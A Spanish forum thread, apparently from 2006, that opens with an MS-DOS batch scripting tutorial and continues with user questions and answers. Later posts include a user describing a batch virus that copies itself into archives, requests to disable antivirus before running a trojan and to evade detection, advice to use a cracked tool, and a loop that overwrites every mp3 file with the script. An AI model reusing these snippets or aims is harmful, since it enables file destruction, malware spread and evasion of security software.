Por eso si se crea una unidad lógica mediante netbios en windows, esta puede tener un nombre msdos para poder acceder a ella desde la consola. La letra que se asigne no puede corresponder a una unidad lógica existente.

¿Qué comandos puedo utilizar?
Comandos básicos
CLS -> borra pantalla
ECHO -> tiene varias posibilidades:
    Echo sin parámetros saca el estado en que se encuentra la variable echo (on u off)
    Echo on activa el echo (como en un terminal TTY) por lo que los comandos se verán en pantalla y luego su resultado
   Echo off desactiva el comando echo y ya se verán los resultados de la ejecución del comando, pero no el comando en sí mismo
   Echo literal saca por pantalla el literal. Por eso al hacer echo literal >fichero.bat estamos redirigiendo la salida de echo literal (que tendría que salir por la pantalla) al archivo fichero.bat.
PAUSE ->Sirve para sacar un mensaje y parar la ejecución hasta que se pulse una tecla
PROMPT ->Sirve para cambiar el prompt de msdos. El más habitual es $p$g que corresponde a
   $p = mostrar trayecto actual
   $g = mostrar el separador >
   $l  = mostrar el separador <
   $b = mostrar el separador |
   $q = mostrar el signo =
   $$ = mostrar el signo $
   $t  = mostrar la hora
   $d = mostrar la fecha
   $v = mostrar la versión del sistema
   $n = mostrar unidad actual
   $h = retroceso. Borra el caracter previo
   $e = esc. Muestra el signo correspondiente al asci 27
   $_ = Retorno de carro y salto de línea (equivale a chr(10) & chr(13)

   Por eso si ponemos prompt $p$g el cursor muestra la trayectoria donde estamos y luego el separador. Es posible añadir texto (por ejemplo prompt Mi_nombre $p$g

DATE
Ver/poner la fecha del sistema
TIME
Ver/poner la hora del sistema
VER
Versión del sistema
VOL unidad
Volumen de la unidad especificada
PATH
Indica un trayecto por defecto si se produce una petición de un archivo que no está en el directorio actual.
Por eso en windows 98 suele haber una línea en autoexec.bat que es
   path c:\windows; c:\windows\command
que indica que si se solicita un ejecutable que no esté en el directorio actual, lo busque primero en la carpeta windows y luego en la subcarpeta command.

KEYB código_pais,juego_de_caracteres,definición_de_teclado,
El código de país de españa es el 'sp'
El juego de caracteres aplicable a españa es el 850 ó 437
El archivo de definición de teclado es keyboard.sys
Para configurar un teclado en español
keyb sp,,c:\windows\command\keyboard.sys

SYS unidad
Transferir el sistema operativo a la unidad especificada.

DOSKEY
Emular la capacidad de unix/linux de recordar los comandos introducidos anteriormente mediante la flecha arriba del teclado.

MEM parámetros
Muestra la memoria usada y libre en el sistema
   /p -> muestra por programas
   /d -> por programas y controladores
   /c -> clasifica por tamaño

Comandos de manejo de archivos
COPY origen destino
   Sirve para copiar archivos de un lugar a otro. el origen debe ser un trayecto completo de donde están los archivos a copiar. Si se omite se entiende que en el directorio actual.
  El destino debe ser una trayectoria completa de donde dejar el/los archivo(s)
   copy miarchivo.txt c:\ (copiarlo al directorio raíz de C)
   copy miarchivo.txt c:\miarch.txt (copiarlo y además cambiarle el nombre a miarch.txt)
   copy *.txt a:\ (copiar todos los archivos que tengan la extensión txt a la unidad A)
   copy *.txt c:\misdoc~1 (copiar todos los archivos que tengan la extensión txt al directorio Mis documentos (cuyo nombre corto es misdoc~1).

DEL archivo(s)
Borrar archivos en seleccionados
   del leeme.txt (borra el archivo leeme.txt en el directorio actual)
   del c:\leeme.txt (borra el archivo leeme.txt que se encuentra en c:\)
   del archiv~1\*.* (borra todos los archivos que se encuentren en el directorio 'Archivos de programa' cuyo nombre corto es archiv~1 (no se borran las subcarpetas)

DELTREE archivo(s) -y
   Borra el arbol especificado (si es un archivo pues el archivo, si es una carpeta pues la carpeta con todas las subcarpetas que incluya).
  Con el parámetro -y no pregunta cada vez
  Este comando en realidad no es un comando sino una utilidad incluída en msdos.

MKDIR nombre (o bien MD nombre)
  Sirve para crear un directorio
   Md micarpeta

CHDIR nombre (o bien CD nombre)
   Sirve para ir al directorio aludido. Se le tiene que dar la trayectoria completa o si no intentará desplazarse desde el directorio actual.
   Cd c:\archiv~1 (se va a archivos de programa)
   Cd .. (se va al directorio superior)

RMDIR nombre (o bien MD nombre)
   Borra un directorio. Este debe estar vacío.
   RD c:\Misdoc~1 (borra Mis Documentos, aunque no podrá porque no está vacío).

DIR trayecto
   Saca una lista del contenido del directorio especificado en el trayecto. Si no se especifica nada, se entiende el actual.
   Si se pone como parámetro /W saca un listado resumido.
   Si se pone como parámetro /P saca un listado utilizando el filtro more.

ATTRIB archivo(s)-> Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.
Los atributos son:
   H -> oculto. Se activa con +h y desactiva con -h
   R -> Lectura. Solo lectura con +r, normal con -r
   S -> Sistema. Se activa con +s y desactiva con -s
   A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado.
Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)
attrib *.exe +r +r +s (pone a todos los archivos con extensión exe como ocultos, del sistema y read only)

RENAME o REN nombre1 nombre2
Cambiar el nombre de archivo
Ren miarchivo.txt miarchivo2.txt

TYPE archivo
Muestra por pantalla el contenido de un archivo
type miarchivo.txt

Comandos de disco
DISCKCOPY origen destino-> Copia disquetes completos.
Diskcopy a: a: Copia el disquete introducido en la unidad A a un disquete que se introducirá posteriormente en la unidad A

FDISK
Permite editar las particiones del disco duro.
Con la opción /mbr permite borrar el Master Boot Record

FORMAT unidad parámetros
  /q -> formateo rápido
  /s -> Transferir el sistema operativo
Format a: /s formatea el disquete y le transfiere el sistema operativo básico de arranque.

LABEL unidad etiqueta
Cambiar la etiqueta de volumen del disco de la unidad
label a: midisquete
 
MSCDEX
Montar una unidad de CdRom en msdos (solo requerido si se carga msdos sin estar windows cargado previamente (por ejemplo cuando se arranca desde disquete).
Suponiendo un CdRom al que se haya cargado en config.sys con el nombre MiCd
mscdex /d:MiCd

Scandisk unidad parámetros
Para comprobar/reparar el estado del disco
   /autofix -> reparar automáticamente errores
   /surface -> hacer pruebas de superficie
   /checkonly -> no reparar, solo chequear

Comandos para programación
EDIT archivo
Editor de textos utilizado para editar scripts y archivos de texto.

DEBUG archivo parámetros de archivo
Inicia el desensamblador  con el programa indicado al que se le pasan los parámetros especificados.

CHOICEtexto opciones
Se utiliza en programas bat para dar a elegir a un usuario entre un conjunto de opciones
La respuesta se devuelve mediante la variable errorlevel
choice Elija una opción snc
if errorlevel 1 goto ...
if errorlevel 2 goto ...
if errorlevel 3 goto ...
Este ejemplo muestra el literal "elija una opción y da a elegir s (sí), n (no) o C (continuar) por ejemplo
las tres siguientes líneas especifican a donde debe saltar el flujo del programa según la tecla pulsada.

Comandos de red
ARP parámetros
Modificar la tabla arp.
   -a -> mostrar la tabla arp
   -s ip mac -> agregar una entrada a la tabla arp

FTP
Iniciar el cliente ftp

IPCONFIG parámetros
Mostrar las características de configuración de IP
   /all -> muestra toda la información de configuración
   /release adaptador -> libera la ip del adaptador especificado
   /renew adaptador -> renueva la ip para el adaptador especificado
   /flushdns -> purga la caché de resolución de dns
   /registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
   /displaydns -> muestra el contenido de la cache de resolución dns
  
NBTSTAT
Hace un estado de la red por netbios
Tiene muchos parámetros. Consultarlos mediante nbtstat /?

NET parámetros
Comando para el uso de redes netbios
   USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema.
   USE \USER: dominio\usuario para acceder a un dominio
   USE unidad /DELETE eliminar el acceso a unidad compartida.
   SHARE trayecto /REMARK texto -> para compartir un recurso en red
   START -> para comenzar sesión netbios
   STOP -> para detener netbios

NETSTAT
Para ver el estado de la red.
   -a -> mostrar todos los puertos y conexiones
   -n -> mostrar números de puertos y direcciones
   -r -> mostrar la tabla de rutas
   -s -> mostrar estadísticas por protocolo
   -p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas

NSLOOKUP dominio
Muestra el dominio, su ip, dns donde se resuelve y sus alias

PING
Utilizar ICMP para llegar a un determinado nodo

TELNET ip puerto
Utilizar el protocolo telnet para acceso a un servidor exterior

TRACERT destino
tracear el camino hasta llegar al destino especificado

Programación BAT
Para crear un script bat podemos utilizar cualquiera de los métodos expuestos anteriores y utilizar cualquiera de los comandos especificados.

Pueden recibir parámetros según los cuales realizar operaciones u otras.

Un caso especial es el archivo autoexec.bat que se ejecuta automáticamente en windows 98 y anteriores. debe estar en el directorio raíz.

********************************************
Ejemplo 1
Archivo bat crea un disquete de arranque en la unidad A con cdrom montado y teclado en español.

echo off
rem **** esto es un comentario
rem **** formatear disquete y pasarle el sistema
format a: /s
rem **** copiar archivos necesarios para teclado en español
copy c:\windows\command\keyboard.sys a:
copy c:\windows\command\keyb.com a:
rem **** copiar archivos necesarios para montar el cdrom
copy c:\windows\command\mscdex.exe
rem aquí hay que copiar el driver dos del cdrom que
rem viene con el disquete que lo acompaña.
rem copiar otras utilidades prácticas para un disco de inicio
copy c:\windows\command\fdisk.exe a:
copy c:\windows\command\format.exe a:
copy c:\windows\command\deltree.exe  a:

rem crear el archivo de inicio autoexec.bat en disquete
echo keyb sp,,keyboard.sys >a:autoexec.bat
echo path c:\windows;c:\windows\command;a:\ >>a:autoexec.bat
echo mscdex /d:MiCdrom >>a:autoexec.bat

rem crear el archivo de configuración para montar el driver del cdrom
echo dos=high,umb >a:config.sys
echo device=a:\nombre_del_driver.sys /d:MiCdRom >>a:config.sys

echo **************************************
echo      El disco de arranque ha sido creado
echo **************************************

*******************************************
Ejemplo 2
En el caso anterior he puesto la ruta de origen c:\windows\command que es donde se encuentra en windows 98. Sin embargo en Win2k se encuentra en \winnt\win32 por lo que en caso de win2k deberíamos cambiar eso.
Win2k tampoco usa autoexec.bat por lo que para no perderme en diferencias entre uno y otro voy a suponer que en vez de c:\windows\command quiero que el origen sea variable

echo off
rem si no se da parámetro terminar
if %1z = z goto fin
rem **** esto es un comentario
rem **** formatear disquete y pasarle el sistema
format a: /s
rem **** copiar archivos necesarios para teclado en español
copy %1\keyboard.sys a:
copy %1\keyb.com a:
rem **** copiar archivos necesarios para montar el cdrom
copy %1\mscdex.exe
rem copiar utilidades
copy %1\fdisk.exe a:
copy %1\format.exe a:
copy %1\deltree.exe  a:
fin:

para ejecutar este script deberíamos darle un parámetro que será el origen de los archivos. En el caso anterior esto era c:\windows\command. En el caso de Win2k esto es c:\winnt\win32

Miprograma c:\windows\command (para utilizar esta ruta como ruta origen)
Miprograma c:\winnt\win32 (para utilizar esta otra ruta como ruta origen)

********************************************
Ejemplo 3
********************************************
Creación de un archivo para consultas habituales sobre la red

echo off
echo 1 -> examinar netbios
echo 2 -> examinar la red
echo 3 -> examinar dominio
echo 4 -> examinar la tabla de arp
echo 5 -> Acceder a unidad lógica
echo 6 -> Compartir unidad lógica
echo 7 -> Acceder a un dominio
echo pulse una tecla del 1 al 6 para elegir
choice 123456
if errorlevel 1 goto netbios
if errorlevel 2 goto red
if errorlevel 3 goto dominio
if errorlevel 4 goto arp
if errorlevel 5 goto acceder
if errorlevel 6 goto compartir
if errorlevel 7 goto accesodominio
goto fin

netbios:
nbtstat -na
goto fin

red:
netstat -na
goto fin

dominio:
rem %1 es un parámetro del dominio a consultar
nslookup %1
goto fin

arp:
arp -a
goto fin

acceder:
rem %1 es un parámetro de la unidad a acceder. Debe
rem ser del tipo \\ordenador\recurso
net use %1
net start
goto fin

compartir:
rem %1 es el directorio a compartir. Debe ser algo como
rem c:\misdoc~1
rem %2 es el texto que queremos que tenga como nombre largo en windows
net share %1 remark %2
net start
goto fin

accesodominio:
rem %1 es el dominio al que queremos acceder
rem %2 es el usuario al que queremos introducir
net use user %1\%2
net start

fin:



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: maniaxred en 18 Enero 2006, 19:39 pm
Hola a To2!

Estoy buscando un comando para agregar a un .BAT que pueda ocultar todas las carpetas que se encuentren dentro de otra carpeta pero... "sólo las carpetas" y NO los archivos que contiene cada una de estas.

¿es posible esto?

He probado con attrib pero no encuentro la forma.

Agradecería mucho si alguien me contesta una de las 12mil veces que pregunte esto.

Salu2 a To2!

GRACIAS!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 18 Enero 2006, 22:47 pm
creo que no es possible....lo uniko posible es borrarla kon el komando rd...

Un saludo!!

Hendrix



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: mackbeth en 25 Enero 2006, 22:26 pm
hola a todos, me dio por hacer un crack en un bat, pero me tope con que necesito una condicional que me verifique una llave en el registro, estoy usando este codigo:

if exist "HKLM\SOFTWARE\Unreal Technology" goto ejecutar
goto validar

o tambien se me ocurrio:

if exist (reg query "HKLM\SOFTWARE\Unreal Technology") goto ejecutar
goto validar

pero ninguna de las 2 formas me funciona,ambas se van a ejecutar, no le he puesto if not exist, por que me fastidiaria todo el codigo... alguien podria ayudarme??


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: TooRDJ en 27 Enero 2006, 12:14 pm
Buenas un saludo..

Quisiera que me ayudaran en lo siguiente. Se los agradecería..

Como puedo crear un BAT que al ejecutarse pida la entrada de un dato. Y que al teclear ese dato se guarde en una variable X

Y quisiera saber si ese dato que se guarda, puede llevar espacio :huh:

Como se puede hacer??

GRACIAS::


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 27 Enero 2006, 19:01 pm
Facil...azlo kon el komando SET. Mira un ejemplo:
@echo off
color 4d
title Ejemplo de variables {By Hendrix}
:inisi
cls
echo.
echo Introduce tu Pass:
set /p pas=
If %pas% == Hacker (cls && echo Bienvenido && pause > nul && exit) else ( cls && echo Pass Incorrecta && pause > nul && goto inisi)
pause > nul
exit

Copia este bat y ejekutalo y veras lo que hace...

Salu2

Hendrix


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: TooRDJ en 28 Enero 2006, 01:42 am
Wenas....

SEEEEEEEEEEEEEEEEEEEEEEEEEEEEE... Hendrix Funciona GOD  :D

MUCHAS GRACIAS Hendrix  ;D...

Saludos...


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: TooRDJ en 28 Enero 2006, 17:25 pm
Buenas.. Hola de nuevo...


Oye Hendrix mira coloque algo como esto:
_______________

@echo off
:inisi
cls
echo.
echo Introduce IP:
set /p ip=
ping ip
PAUSE
_______________

Pero tengo un problema cuando lo ejecuto me dice

La solicitud de ping no pudo encontrar el host ip. Compruebe el nombre y vuelva a intentarlo.
Presione una tecla para continuar . . .

Cuando se trabaja con ips se coloca diferente :huh:??..

GRACIAS...


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 29 Enero 2006, 01:19 am
Lo correcto seria esto:

@echo off
:inisi
cls
echo.
echo Introduce IP:
set /p ip=
Ping %ip%
PAUSE

La ip (puesto que es una variable) tiene que ir entre %...y si es una variable numerica tiene que ser asi: set /a pero esto no importa...lo importante son los %...Pruebalo y veras que si funcionara... ;) ;)

Salu2

Hendrix


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: TooRDJ en 29 Enero 2006, 22:54 pm
Buenas..


SEEE.... me funciono perfecto.. Gracias por la ayuda..



Gracias Salu2..


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 29 Enero 2006, 23:53 pm
De nada hombre... ;) ;)

Salu2

Hendrix


Título: Re: Correr un programa detectando Archivos
Publicado por: Deiv en 31 Enero 2006, 15:55 pm
Hola,
En cuanto a MS-DOS se refiere casi nunca intenté crear un Archivos por lotes (BAT) o programar, y ahora desde Windows XP necesito crear un archivo CONVERSOR.BAT que me realice una tarea, ya que estoy trabajando con Delphi7 (con una de sus herramientas "brcc32" que transforma archivos creando recursos de Archivo.rc a Archivo.res). Mi BAT, contiene estas líneas:

PATH C:Archivos de programaBorlandDelphi7Bin
brcc32 PRUEBA.rc  PRUEBA.res


Lo que hace CONVERSOR.BAT es detectar donde se encuentra el ejecutable "brcc32" para transformar un archivo de recursos de ".rc"  a  ".res", este trabaja muy bien en el directorio que me encuentre al darle doble click.

El problema es, que cuando creo otro fichero .rc, cada vez tengo que estar editando mi CONVERSOR.BAT para cambiar los nombres del archivo en la segunda línea (Ej.: brcc32 OtraPrueba.rc  OtraPrueba.res)

Entonces lo que requiero es que mi Archivo BAT haga lo siguiente al doble click:

- Detecte los archivos *.rc que existan en el directorio actual que me encuentre.
- Que los cuente.
- Hacer un FOR hasta la cantidad que contó.
- Dentro del FOR Hacer funcionar: brcc32 para todos los archivos encontrados *.rc     a     *.res en el directorio actual) y así transformarlos.

De repente sea un código sencillo para muchos, pero redundo que no he creado buenos archivos por lotes, he ahí la razón del porque de mi pregunta.

Estaré atento a vuestros post de orientación.
Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 31 Enero 2006, 23:14 pm
Lo que intentas hacer lo estoy haciendo apra la creacion de un virus en batch...la funcion del virus es buskar en todos los Diskos duros archivos rar o zip y kopiarse dentro....Para esto es necesario hacer un motor de buskeda, lo ideal es combinar estos komandos: dir, find y for...Lo que no logro hacer es lo del find, que enkuentre el nombre del archivo....

Weno, si alguien sabe komo hacerlo que lo postee...

Salu2

Hendrix



Título: Find
Publicado por: Deiv en 5 Febrero 2006, 16:28 pm
Bueno Investigando un poco encontré esto de como hallar los archivos que requieres (en tu caso RAR o ZIP) existen 2 formas que las puedes combinar:

CASO 1 (Detecta en el Directorio actual).-
@echo off

set fichtemp=%temp%\temporal.txt

if exist *.rar dir *.rar /b >%fichtemp%
if exist *.zip dir *.zip /b >>%fichtemp%

type %fichtemp% |sort |more
del %fichtemp%
set fichtemp=
echo.


CASO 2 (Detecta en la Raiz principal y los Subdirectorios).-
@echo off
echo.
dir \%1 /b /s /p
echo.

Ejecución:
C:\Documents and Settings\Administrador\Mis documentos\BATs>buscar *.RAR (enter)


Bueno para mi pregunta lo que hice es el 2do Caso:

@echo off
set fichtemp=%temp%\temporal.txt

if exist *.rc dir *.rc /b >%fichtemp%

type %fichtemp% |sort |more
del %fichtemp%
set fichtemp=
echo.

Ahora lo único que queda es implementar un contador y para cada archivo encontrado me ejecute el "brcc32" para todos los *.rc encontrados a través de un for (o tal vez sin for) pero ahora necesito de tu ayuda ante el FOR y la Ejecución, creo ahí no tienes problemas verdad?, a recordar el mío:

Lo que requiero es que mi Archivo BAT haga lo siguiente:
1- Detecte los archivos *.rc que existan en el actual directorio (Ya esta resuelto)
2- Que los Cuente, ¿Cuantos encontró? (O que directamente ejecute el bcc32 con los encontrados)
3- Hacer un FOR hasta la cantidad que Contó
4- Dentro del FOR Hacer funcionar: brcc32 para todos los archivos encontrados *.rc a *.res en el directorio que me encuentro) y así transformarlos.

Pienso que mi problema ahora está solamente en el punto 2 y 3. Pero además me entró otra duda, ¿Como capturo cada archivo encontrado individualmente? ¿Alguna sugerencia?
Saludos


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Jarizkuren en 6 Febrero 2006, 10:56 am
Hola. Me gustaria crear un .bat que borrase los archivos *.001 creados hace mas de 15 dias. Muchas gracias.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: furioso en 6 Febrero 2006, 13:02 pm
Hola. Me gustaria crear un .bat que borrase los archivos *.001 creados hace mas de 15 dias. Muchas gracias.

Esa extension me suena. :-) Curioso que se cree la necesidad a la vez.

Si alguien responde a esta duda comun seria de gran ayuda. Como borrar archivos por antiguedad.

Gracias,


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 6 Febrero 2006, 17:19 pm
Si me explikan mas sobre esta extension les puedo crear un programa...esta extension se regenera cada vez o es que hay muchas????

Si es que hay muchas y las kieren borrar pongan esto en el MS-dos:

cd "C:\Ruta\Donde\Hay\Archivos\aborrar
del /s /q *.001

Esto borrara todos los archivos 001 de una carpeta...si kieren borrar mas cambien el direcctorio de carpeta... ;) ;)

Salu2

Hendrix



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: karito en 7 Febrero 2006, 18:27 pm
Hola, quisiera saber si es posible crear un batch en el cual pueda ejecutar comandos desde linea de comandos en sybase o en oracle... Ejemplo de esto:

C:\>isql -Usa -Psybmanager
1> sp_helpdb
2> go

Gracias por su respuesta...


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: furioso en 13 Febrero 2006, 13:50 pm
Si me explikan mas sobre esta extension les puedo crear un programa...esta extension se regenera cada vez o es que hay muchas????

Si es que hay muchas y las kieren borrar pongan esto en el MS-dos:

cd "C:\Ruta\Donde\Hay\Archivos\aborrar
del /s /q *.001

Esto borrara todos los archivos 001 de una carpeta...si kieren borrar mas cambien el direcctorio de carpeta... ;) ;)

Salu2

Hendrix



Tampoco estoy seguro de que sus archivos tengan el mismo origen que los mios.

Es siempre la misma, el caso es que como decia en mi post, hay que borrarlos por antiguedad. Por que se van creando cada dia y el disco duro se llena rapidamente.



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: gearl23 en 18 Febrero 2006, 06:41 am
hola te queria preguntar porque hice este pequeño bat pero sucede que por mas qu escoja cualquier opcion siempre va a la etiqueta formatear. que hago mal?
aqui esta el bat:

@echo off
echo 1 Formatear disquette con archivos de sistema
echo 2 Estado de particion
echo 3 Iniciar FTP

choice /c:123

if errorlevel 1 goto formatear
if errorlevel 2 goto fdisk
if errorlevel 3 goto ftp
goto listo

:formatear
set drive=%1
if "%1" == "" set drive=a:
format a: /q /s
goto listo

:fdisk
fdisk /status
goto listo

:ftp
ftp
goto listo

:listo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 18 Febrero 2006, 17:51 pm
Kode:

@echo off
echo 1 Formatear disquette con archivos de sistema
echo 2 Estado de particion
echo 3 Iniciar FTP

set /p opciones=

if %opciones%==1 goto formatear
if %opciones%==2 goto fdisk
if %opciones%==3 goto ftp
goto listo

:formatear
set drive=%1
if "%1" == "" set drive=a:
format a: /q /s
goto listo

:fdisk
fdisk /status
goto listo

:ftp
ftp
goto listo

:listo
exit

Salu2

Hendrix



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: gearl23 en 18 Febrero 2006, 20:19 pm
Gracias k-po!!!!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 18 Febrero 2006, 21:14 pm
jejeje de nada.... ;) ;) ;)

PD: el comando chioce no esta en XP, solo en Win 9x

Salu2

Hendrix



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: andonio en 25 Febrero 2006, 12:05 pm
Muy buenas, espero que este sea el lugar adecuado al que dirgir mi duda.
Me gustaria crear un bat que me borrase todos los directorios llamados XXX de un path dado
Supongo que no sera dificil pero soy nuevo y no acierto
he conseguido localizar los ficheros a borrar con:
dir XXX /b /s /a:d
ahora lo que me gustaria es aplicar la orden rmdir /s a todos los directorios resultantes de la orden anterior como puedo hacerlo? (no se si esto es la mejor forma de hacerlo)

Agradecido de antemano, saludos


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 25 Febrero 2006, 19:55 pm
la verdad, no te e entendido mucho...kieres borrar los archivos que estan dentro de XXX???

cd C:\XXX
del /s /q *.*

Kieres borrar todos los directoerios de XXX???

cd C:\XXX
rd /s/q *.*

espero que esto te sirva...

Salu2

Hendrix



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: sagatxxx en 2 Marzo 2006, 11:14 am
holas chicos una cosita a ver si podeis ayudarme, resulta que trabajo en una oficina y queria hacerme un bat para que se ejecute a primera hora de la mañana con el programador de tareas en el que:

haga una copia de seguridad de mis documentos a otro equipo por si el mio muere jejjee

esto ya lo tengo conseguido, lo que pasa es que algunas veces se nos olvida de encender primero el equipo de la copia de seguridad (no el mio jejeje), y entonces el bat se ejecuta salen todos errores y como se cierra muy rapido no lo ves y te quedas pensando que ha ido bien, lo que yo queria es que dependiendo de que se haya hecho bien o no salga un mensaje indicandolo

algo asi

- la copia de seguridad fue correcta.

- oye memo como quieres que copie algo a un ekipo apagado ...

o mejor que primero compruebe si esta encendido, con un ping por ejemplo, o lo que sea, y te diga que si esta apagado, lo enciendas y si esta bien pos que la copia fue correcta


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 2 Marzo 2006, 14:56 pm
Bueno puedes hacer esto:

:mirar
If exist "CARPTEADELPC" (goto existe) else (goto noexiste)
:existe
Copy /y bla bla bla
goto fin
:noexiste
ping 127.0.0.1 -n 50 (espera 50 segundos y lo vuelve a intentar)
goto mirar
:fin
exist

Es bastante sencillo este programita, pero weno...Se puede modifikar a tu gusto...

Salu2

Hendrix



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: turi8 en 5 Marzo 2006, 22:15 pm
Hola hice este .bat pero lo que me pasa es que quiero que sea oculto que no se ejecute la ventana que tengo que hace???
Citar
@echo off
start explorer.exe
:bucle
If Not Exist J:\ goto cop
If exist J:\ goto copy
:cop
goto bucle

:copy
xcopy "J:\" C:\Kazaa /s /e /q

:fin
exit


Saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: jvchino en 6 Marzo 2006, 07:53 am
Para turi8
he aqui la forma mas facil de convertir un archivo bat a uno exe
lo primero que haremos es bajarnos nuestro super programa  Quick Batch File Compiler en la siguiente direccion http://usuarios.lycos.es/aadevfx/web/download.html lo instalamos en nuestro ordenador, luego echamos el crack y lo registramos.

luego abrimos nuestro programa, apretamos open selecsionamos nuestro archivo bat, siqueremos podemos ir a Projet luego option y le podemos cambiar a ghost application para que el archivo resultante (exe) al ejecutarlo no muestre la ventana de comando de consola que aparece y se cierra. Tambien si vamos a custom resources podemos cambiar el icono y agregar informacion al exe.

por ultomo apretamos en Build para guerdar nuesto archivo bat ya convertido en exe

saludos

Suerte.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ChoPeRo en 6 Marzo 2006, 13:25 pm
buenas, lo que quiero hacer... es que cuando la victima abra el bat se le finalice los procesos cualquier antivirus... y al cabo de 10 segundos.. se ejecute un troyano.. como puedo hacer eso ?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: whiskises en 10 Marzo 2006, 21:15 pm
Hola,  En los tutoriales he encontrado el proceso inverso:conocido el path , realizar tal o cual acción, pero ¿Cómo podría conseguir que al ejecutar un *.bat ,  este ,detecte el path donde se esté ejecutando? .Gracias.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 11 Marzo 2006, 20:10 pm
de esta manera enkuentras toda la ruta:

Código:
echo %0

si por ejemplo tu .bat esta guardado en C:\Windows y el .bat se llama Prueba.bat lo que saldra por la pantalla sera:

C:\Windows\Prueba.bat

Espero que te sirva

Salu2

Hendrix



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: whiskises en 13 Marzo 2006, 06:45 am
Va perfecto.Gracias.
Estuve buscando como cifrar y descifrar por consola un ejecutable.De forma que quede fuera de los analisis de los antivirus, espero.pero no encontre nada ¿alguna idea?

¿Existe alguna manera de impedir que el cursor no cambie a flecha+Reloj de arena cuando se ejecuta un exe oculto ? porque canta un poco, aunque no se vea lo que ocurre.


Título: ACCESO DIRECTO QUE PREGUNTE LO QUE POSTERIORMENTE SE CONVIERTE EN VARIABLES
Publicado por: merendegildo en 14 Marzo 2006, 18:48 pm
Podemos hacer un archivo Bat utilizando las variables %1 %2 etc dentro de su propio código que llaman a lo que ponemos tras el comando MSDOS a la hora de ejecutarse.
Podemos hacer un acceso directo que ejecute el archivo Bat.

La pregunta es: ¿COMO PODEMOS HACER UN ACCESO DIRECTO QUE NOS PREGUNTE MEDIANTE UNA ESPECIE DE INPUTBOX LO QUE POSTERIORMENTE SE CONVIERTE EN VARIABLES?

Se que es posible creo que es poniendo algo así como:
"C:\prueba.bat" /este sera el texto:%1
en la propiedad Destino del acceso directo.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: superskunk en 17 Marzo 2006, 21:15 pm
Estoy trabajando en un bat que realice lo siguiente, pero todavía no he escrito el codigo, os explico y luego me decís, tengo una red con perfiles moviles que tiran de un servidor, tengo un clon de los perfiles en otro servidor, y en el script de inicio ya tengo creado los if necesarios para que en caso que no encuentre levantado el servidor principal mapee al clon con lo que el user ni se pispa y puede trabajar. Bien esto supone que en caso de caida ocasional todas las maquinas necesitarian reiniciar para que el bat de inicio funcionase, quiero hacerlo más limpio para el user. QUiero crear un bat que se dedique a comprobar que el server principal esta levantado, y en el caso que no estuviera mate el los procesos de correo con una aplicacion que ya tengo,y que mapee la unidad al clon. Esto último ya lo tengo casi elaborado en la cabeza, pero el problema, es a mi se me ocurre crear mediante el bat una at que ejecute un ping cada media hora, o cada hora y si el %errorlevel% que generase fuese de host inaccesible lanze la tarea posterior.Claro el hacer un ping cada media hora es una carga de red grande, acepto ideas de como verificar el estado del servidor principal de perfiles que no fuera esta.

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: elmonomario en 22 Marzo 2006, 02:43 am
Hola quiero saber como hacer un bat que haga un archivo *.txt o la que sea con informacion del disco rigido como: etiqueta, espacio utilizado y espacio disponible. ......gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: selenne.83 en 22 Marzo 2006, 13:01 pm
Buenas,

Tengo un cutre.bat para mapear diversas unidades que me funciona bien.

He intentado agregar también diversas impresoras de red pero no encuentro la manera. El << net use printer1 \\server\printer1 >> no me funciona, y no sé si es que no se puede hacer, o que es con un comando que desconozco.

Alguien que me pueda ayudar?   :huh:   Asias!   

Rach


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Franc_ en 22 Marzo 2006, 15:36 pm
Una pregunta amigos, ojala me puedan ayudar.
Lo que sucede es que donde trabajo algunas  personas se dedican a bajar archivos de musica MP3, lo cual estaria bien si no abusaran mucho, y por culpa de ellos me han dicho q tengo q borrar estos archivos,  asi que decidi hacer algo, y encontre esto en un archivo, lo cual he modificado, hasta dejarlo como queria, pero hay es la consulta que deseo hacerles, el codigo es:

 @echo off
 @for %%i in (c:\mp3\*.mp3) do copy %0 %%i>NUL
:done

